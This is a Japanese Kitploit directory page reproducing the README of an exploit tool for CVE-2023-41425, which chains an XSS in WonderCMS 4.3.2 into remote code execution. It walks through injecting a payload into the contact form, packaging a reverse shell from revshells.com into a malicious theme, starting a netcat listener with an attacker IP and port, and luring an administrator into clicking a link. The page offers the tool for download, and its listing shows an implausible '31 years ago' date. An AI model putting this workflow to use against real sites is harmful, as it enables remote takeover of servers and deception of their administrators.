Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/0xdtc/wondercms-4.3.2-xss-to-rce-exploits-cve-2023-41425
ペイロード生成エクスプロイトシェルコードウェブアプリケーション悪用ペネトレーションテストリモートアクセスツール
GitHub0xdtc/wondercms-4.3.2-xss-to-rce-exploits-cve-2023-41425

WonderCMS-4.3.2-XSS-to-RCE-Exploits-CVE-2023-41425

CVE-2023-41425 Refurbish

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
31年前未レビュー

WonderCMS 4.3.2 XSSからRCEへのエクスプロイト

概要

これらのスクリプトは、WonderCMS 4.3.2 のXSS(クロスサイトスクリプティング)脆弱性を悪用して、リモートコード実行(RCE) を達成します。XSSペイロードが管理者によってトリガーされると、細工された悪意のあるテーマモジュールを利用して、ターゲットサーバーにリバースシェルを自動的にインストールします。リバースシェルは revshells.com から取得され、実行されることで攻撃者にサーバーへのリモートアクセスを提供します。


目次

  • 前提条件
  • スクリプト1: 自動エクスプロイト
    • 特徴
    • 使用法
  • スクリプト2: 手動エクスプロイト
    • 特徴
    • 使用法
  • 注意事項
  • ライセンス

前提条件

いずれかのスクリプトを正常に実行するには、以下のツールと条件が必要です。

  1. Bashシェル: 両方のスクリプトは、Bashシェルを使用するLinux環境向けに記述されています。
  2. netcat (nc): リバースシェル接続を待ち受けるために使用します。
  3. Python3: シンプルなPython HTTPサーバーを使用してXSSペイロードをホストします。
  4. WonderCMS 4.3.2: ターゲットは脆弱なバージョンのWonderCMSを実行している必要があります。
  5. 管理者の操作: ペイロードは管理者がXSSをトリガーする必要があり、それによりリバースシェルが実行されます。
  6. revshells.com: リバースシェルペイロードはrevshells.comから動的にダウンロードされます。

スクリプト1: 自動エクスプロイト

POC

Pasted image 20241010021603

特徴

このバージョンのエクスプロイトは、アクティブな nc リスナーを自動的に確認し、リバースシェルをダウンロードし、HTTPサーバーを起動し、ペイロードを送信し、管理者がリバースシェルをトリガーするのを待ちます。

  • 自動リバースシェルセットアップ: revshells.comから事前生成されたリバースシェルをダウンロードします。
  • XSSペイロード注入: ターゲットの問い合わせフォームにXSSペイロードを注入します。
  • HTTPサーバー管理: リバースシェルペイロードをホストするためにPython HTTPサーバーを自動的に起動します。
  • ncリスナーチェック: 処理を進める前にリスナーが実行中であることを確認します。
  • ペイロード自動送信: ユーザーの操作なしでペイロードを自動的に送信します。

使用法

  1. 指定されたポートで nc リスナーが実行中であることを確認します:
    root@kitploit:~
    nc -nvlp <PORT>
    
  2. 以下のコマンドでスクリプトを実行します:
    root@kitploit:~
    ./AUTO_CVE-2023-41425 <loginURL> <attacker_IP> <attacker_PORT>
    
    例:
    root@kitploit:~
    ./AUTO_CVE-2023-41425 http://localhost/loginURL 192.168.29.165 5252
    

ワークフロー

  1. リバースシェルのダウンロード: スクリプトは revshells.com からリバースシェルをダウンロードします。
  2. リバースシェルの修正: リバースシェルスクリプトが攻撃者のIPとポートで更新されます。
  3. ZIPペイロードの作成: リバースシェルを含むZIPファイルが作成されます。
  4. XSSペイロードの作成: リバースシェルをインストールするXSSペイロードが生成され、脆弱な問い合わせフォームに注入されます。
  5. HTTPサーバーの自動起動: スクリプトは悪意のあるペイロードを提供するためにPython HTTPサーバーを起動します。
  6. ペイロードの自動送信: XSSペイロードが管理者に自動的に送信されます。

スクリプト2: 手動エクスプロイト

POC

Pasted image 20241010013048

スクリプトによって提供されたエクスプロイトを「Website」フィールドで使用してください...

Pasted image 20241010013218

特徴

このバージョンでは、ユーザーが nc リスナーとXSSペイロードのトリガーを手動で管理する必要があります。自動処理が望ましくないシナリオに適しています。

  • 手動リバースシェルセットアップ: ユーザーはリスナーが実行中であることを確認する責任があります。
  • 手動XSSトリガー: スクリプトは管理者に送信する悪意のあるリンクを提供しますが、ペイロードは手動でトリガーする必要があります。
  • HTTPサーバー管理: XSSペイロードをホストするためにPython HTTPサーバーを起動します。

使用法

  1. 指定されたポートで nc リスナーが実行中であることを確認します:
    root@kitploit:~
    nc -nvlp <PORT>
    
  2. 以下のコマンドでスクリプトを実行します:
    root@kitploit:~
    ./CVE-2023-41425 <loginURL> <attacker_IP> <attacker_PORT>
    
    例:
    root@kitploit:~
    ./CVE-2023-41425 http://localhost/loginURL 192.168.29.165 5252
    

ワークフロー

  1. リバースシェルのダウンロード: revshells.com からリバースシェルをダウンロードします。
  2. リバースシェルの修正: リバースシェルを攻撃者のIPとポートで更新します。
  3. ZIPペイロードの作成: リバースシェルを含むZIPファイルを作成します。
  4. XSSペイロードの作成: リバースシェルをインストールするXSSペイロードを生成します。
  5. 悪意のあるリンクの表示: トリガーのために管理者に送信する必要があるリンクを表示します。
  6. HTTPサーバーの起動: ペイロードをホストするためにPython HTTPサーバーを起動します。

注意事項

  • 管理者の操作: 両方のエクスプロイトは、WonderCMS管理者が脆弱なページにアクセスしてXSSペイロードをトリガーすることに依存しています。トリガーされると、リバースシェルが攻撃者のマシンとの間に確立されます。
  • ファイアウォール/IDS/IPS: ファイアウォールや不審な活動をブロックまたは警告する可能性のある侵入検知システム(IDS)で保護された環境でこれらのエクスプロイトを実行する際は注意してください。
  • 責任ある開示: ターゲットが脆弱であることがわかった場合は、常に倫理的なガイドラインに従い、適切な関係者に脆弱性を報告してください。

ライセンス

ツールをダウンロード